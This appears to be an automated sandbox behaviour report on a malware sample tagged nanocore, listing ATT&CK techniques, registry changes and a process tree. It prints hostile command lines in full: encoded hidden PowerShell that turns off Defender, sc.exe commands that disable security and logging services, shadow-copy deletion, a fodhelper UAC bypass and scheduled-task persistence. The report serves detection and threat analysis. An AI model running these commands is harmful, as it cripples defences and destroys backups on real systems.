nanocore | 5bc3a34c24c27aff2308d4756049bd83bf420b771af1ab0441002c471cef7443

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2ndline.io_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	2ndline.io_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	2ndline.io_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2ndline.io_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	2ndline.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	2ndline.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	2ndline.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3784	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	2ndline.io_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	2ndline.io_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	2ndline.io_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	2ndline.io_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4448	net.exe
4340	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
632	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	2ndline.io_nano.exe
File created	C:\Windows\system32\sysupdate.exe	2ndline.io_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	2ndline.io_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	2ndline.io_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	2ndline.io_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	2ndline.io_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3708	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	2ndline.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	2ndline.io_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1592	2ndline.io_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4260	sc.exe
3740	sc.exe
3916	sc.exe
4900	sc.exe
2456	sc.exe
1548	sc.exe
3708	sc.exe
1088	sc.exe
4928	sc.exe
2848	sc.exe
4748	sc.exe
1600	sc.exe
5060	sc.exe
2088	sc.exe
2596	sc.exe
3044	sc.exe
2552	sc.exe
3272	sc.exe
4532	sc.exe
4308	sc.exe
644	sc.exe
1396	sc.exe
4528	sc.exe
1876	sc.exe
3316	sc.exe
3896	sc.exe
2676	sc.exe
1852	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2828	cmd.exe
3372	cmd.exe
1884	cmd.exe
3480	cmd.exe
4708	cmd.exe
4316	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2160	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2384	ipconfig.exe
4240	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2708	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1564	vssadmin.exe
3348	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\WallpaperStyle = "2"	2ndline.io_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	2ndline.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command	2ndline.io_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings	2ndline.io_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell	2ndline.io_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open	2ndline.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\DelegateExecute	2ndline.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\.pdf\ = "PDFBotnet"	2ndline.io_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command	2ndline.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe\" \"%1\""	2ndline.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	2ndline.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open	2ndline.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2ndline.io_nano.exe"	2ndline.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	2ndline.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell	2ndline.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings	2ndline.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	2ndline.io_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2572	schtasks.exe
4272	schtasks.exe
2244	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4600	powershell.exe
4600	powershell.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe
1592	2ndline.io_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1592	2ndline.io_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	1592	2ndline.io_nano.exe
Token: SeIncreaseQuotaPrivilege	4516	WMIC.exe
Token: SeSecurityPrivilege	4516	WMIC.exe
Token: SeTakeOwnershipPrivilege	4516	WMIC.exe
Token: SeLoadDriverPrivilege	4516	WMIC.exe
Token: SeSystemProfilePrivilege	4516	WMIC.exe
Token: SeSystemtimePrivilege	4516	WMIC.exe
Token: SeProfSingleProcessPrivilege	4516	WMIC.exe
Token: SeIncBasePriorityPrivilege	4516	WMIC.exe
Token: SeCreatePagefilePrivilege	4516	WMIC.exe
Token: SeBackupPrivilege	4516	WMIC.exe
Token: SeRestorePrivilege	4516	WMIC.exe
Token: SeShutdownPrivilege	4516	WMIC.exe
Token: SeDebugPrivilege	4516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4516	WMIC.exe
Token: SeRemoteShutdownPrivilege	4516	WMIC.exe
Token: SeUndockPrivilege	4516	WMIC.exe
Token: SeManageVolumePrivilege	4516	WMIC.exe
Token: 33	4516	WMIC.exe
Token: 34	4516	WMIC.exe
Token: 35	4516	WMIC.exe
Token: 36	4516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4516	WMIC.exe
Token: SeSecurityPrivilege	4516	WMIC.exe
Token: SeTakeOwnershipPrivilege	4516	WMIC.exe
Token: SeLoadDriverPrivilege	4516	WMIC.exe
Token: SeSystemProfilePrivilege	4516	WMIC.exe
Token: SeSystemtimePrivilege	4516	WMIC.exe
Token: SeProfSingleProcessPrivilege	4516	WMIC.exe
Token: SeIncBasePriorityPrivilege	4516	WMIC.exe
Token: SeCreatePagefilePrivilege	4516	WMIC.exe
Token: SeBackupPrivilege	4516	WMIC.exe
Token: SeRestorePrivilege	4516	WMIC.exe
Token: SeShutdownPrivilege	4516	WMIC.exe
Token: SeDebugPrivilege	4516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4516	WMIC.exe
Token: SeRemoteShutdownPrivilege	4516	WMIC.exe
Token: SeUndockPrivilege	4516	WMIC.exe
Token: SeManageVolumePrivilege	4516	WMIC.exe
Token: 33	4516	WMIC.exe
Token: 34	4516	WMIC.exe
Token: 35	4516	WMIC.exe
Token: 36	4516	WMIC.exe
Token: SeIncBasePriorityPrivilege	1592	2ndline.io_nano.exe
Token: SeDebugPrivilege	632	tasklist.exe
Token: SeDebugPrivilege	4240	NETSTAT.EXE
Token: SeDebugPrivilege	636	whoami.exe
Token: SeIncreaseQuotaPrivilege	3732	WMIC.exe
Token: SeSecurityPrivilege	3732	WMIC.exe
Token: SeTakeOwnershipPrivilege	3732	WMIC.exe
Token: SeLoadDriverPrivilege	3732	WMIC.exe
Token: SeSystemProfilePrivilege	3732	WMIC.exe
Token: SeSystemtimePrivilege	3732	WMIC.exe
Token: SeProfSingleProcessPrivilege	3732	WMIC.exe
Token: SeIncBasePriorityPrivilege	3732	WMIC.exe
Token: SeCreatePagefilePrivilege	3732	WMIC.exe
Token: SeBackupPrivilege	3732	WMIC.exe
Token: SeRestorePrivilege	3732	WMIC.exe
Token: SeShutdownPrivilege	3732	WMIC.exe
Token: SeDebugPrivilege	3732	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3732	WMIC.exe
Token: SeRemoteShutdownPrivilege	3732	WMIC.exe
Token: SeUndockPrivilege	3732	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1592	2ndline.io_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1592 wrote to memory of 4600	1592	2ndline.io_nano.exe	85
PID 1592 wrote to memory of 4528	1592	2ndline.io_nano.exe	86
PID 1592 wrote to memory of 4260	1592	2ndline.io_nano.exe	88
PID 1592 wrote to memory of 1876	1592	2ndline.io_nano.exe	90
PID 1592 wrote to memory of 3272	1592	2ndline.io_nano.exe	93
PID 1592 wrote to memory of 4532	1592	2ndline.io_nano.exe	95
PID 1592 wrote to memory of 3740	1592	2ndline.io_nano.exe	97
PID 1592 wrote to memory of 3916	1592	2ndline.io_nano.exe	99
PID 1592 wrote to memory of 4900	1592	2ndline.io_nano.exe	167
PID 1592 wrote to memory of 3316	1592	2ndline.io_nano.exe	166
PID 1592 wrote to memory of 4308	1592	2ndline.io_nano.exe	105
PID 1592 wrote to memory of 2456	1592	2ndline.io_nano.exe	107
PID 1592 wrote to memory of 2552	1592	2ndline.io_nano.exe	164
PID 1592 wrote to memory of 4928	1592	2ndline.io_nano.exe	111
PID 1592 wrote to memory of 3896	1592	2ndline.io_nano.exe	163
PID 1592 wrote to memory of 1548	1592	2ndline.io_nano.exe	162
PID 1592 wrote to memory of 644	1592	2ndline.io_nano.exe	200
PID 1592 wrote to memory of 3708	1592	2ndline.io_nano.exe	168
PID 1592 wrote to memory of 1396	1592	2ndline.io_nano.exe	122
PID 1592 wrote to memory of 2848	1592	2ndline.io_nano.exe	124
PID 1592 wrote to memory of 4748	1592	2ndline.io_nano.exe	126
PID 1592 wrote to memory of 2676	1592	2ndline.io_nano.exe	128
PID 1592 wrote to memory of 1600	1592	2ndline.io_nano.exe	165
PID 1592 wrote to memory of 1088	1592	2ndline.io_nano.exe	132
PID 1592 wrote to memory of 5060	1592	2ndline.io_nano.exe	134
PID 1592 wrote to memory of 1972	1592	2ndline.io_nano.exe	136
PID 1592 wrote to memory of 2088	1592	2ndline.io_nano.exe	137
PID 1592 wrote to memory of 2596	1592	2ndline.io_nano.exe	139
PID 1592 wrote to memory of 1564	1592	2ndline.io_nano.exe	141
PID 1592 wrote to memory of 4516	1592	2ndline.io_nano.exe	143
PID 1592 wrote to memory of 2244	1592	2ndline.io_nano.exe	145
PID 1592 wrote to memory of 2572	1592	2ndline.io_nano.exe	190
PID 1972 wrote to memory of 1732	1972	fodhelper.exe	149
PID 1592 wrote to memory of 1884	1592	2ndline.io_nano.exe	154
PID 1592 wrote to memory of 3372	1592	2ndline.io_nano.exe	156
PID 1592 wrote to memory of 2828	1592	2ndline.io_nano.exe	157
PID 1592 wrote to memory of 4316	1592	2ndline.io_nano.exe	158
PID 1592 wrote to memory of 4708	1592	2ndline.io_nano.exe	159
PID 1592 wrote to memory of 3480	1592	2ndline.io_nano.exe	160
PID 1592 wrote to memory of 4272	1592	2ndline.io_nano.exe	161
PID 1592 wrote to memory of 3708	1592	2ndline.io_nano.exe	168
PID 2828 wrote to memory of 632	2828	cmd.exe	169
PID 4708 wrote to memory of 2384	4708	cmd.exe	170
PID 3372 wrote to memory of 2708	3372	cmd.exe	171
PID 1884 wrote to memory of 3348	1884	cmd.exe	172
PID 3480 wrote to memory of 4240	3480	cmd.exe	173
PID 4316 wrote to memory of 636	4316	cmd.exe	174
PID 1884 wrote to memory of 3732	1884	cmd.exe	175
PID 1592 wrote to memory of 4540	1592	2ndline.io_nano.exe	177
PID 1592 wrote to memory of 1240	1592	2ndline.io_nano.exe	179
PID 1592 wrote to memory of 3784	1592	2ndline.io_nano.exe	181
PID 1592 wrote to memory of 1852	1592	2ndline.io_nano.exe	182
PID 1592 wrote to memory of 3044	1592	2ndline.io_nano.exe	184
PID 1592 wrote to memory of 1108	1592	2ndline.io_nano.exe	185
PID 1592 wrote to memory of 2160	1592	2ndline.io_nano.exe	186
PID 1240 wrote to memory of 2572	1240	net.exe	190
PID 1592 wrote to memory of 4448	1592	2ndline.io_nano.exe	191
PID 1592 wrote to memory of 1360	1592	2ndline.io_nano.exe	193
PID 4448 wrote to memory of 4340	4448	net.exe	195
PID 1360 wrote to memory of 824	1360	net.exe	196

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe
"C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4528
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1876
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4532
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3740
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3916
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4900
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:4308
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:2456
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:2552
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:4928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:3896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:1548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:3708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:2848
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:2676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:1600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:1088
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe"
    3⤵
    PID:1732
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2088
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2596
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1564
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4516
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2244
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3348
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
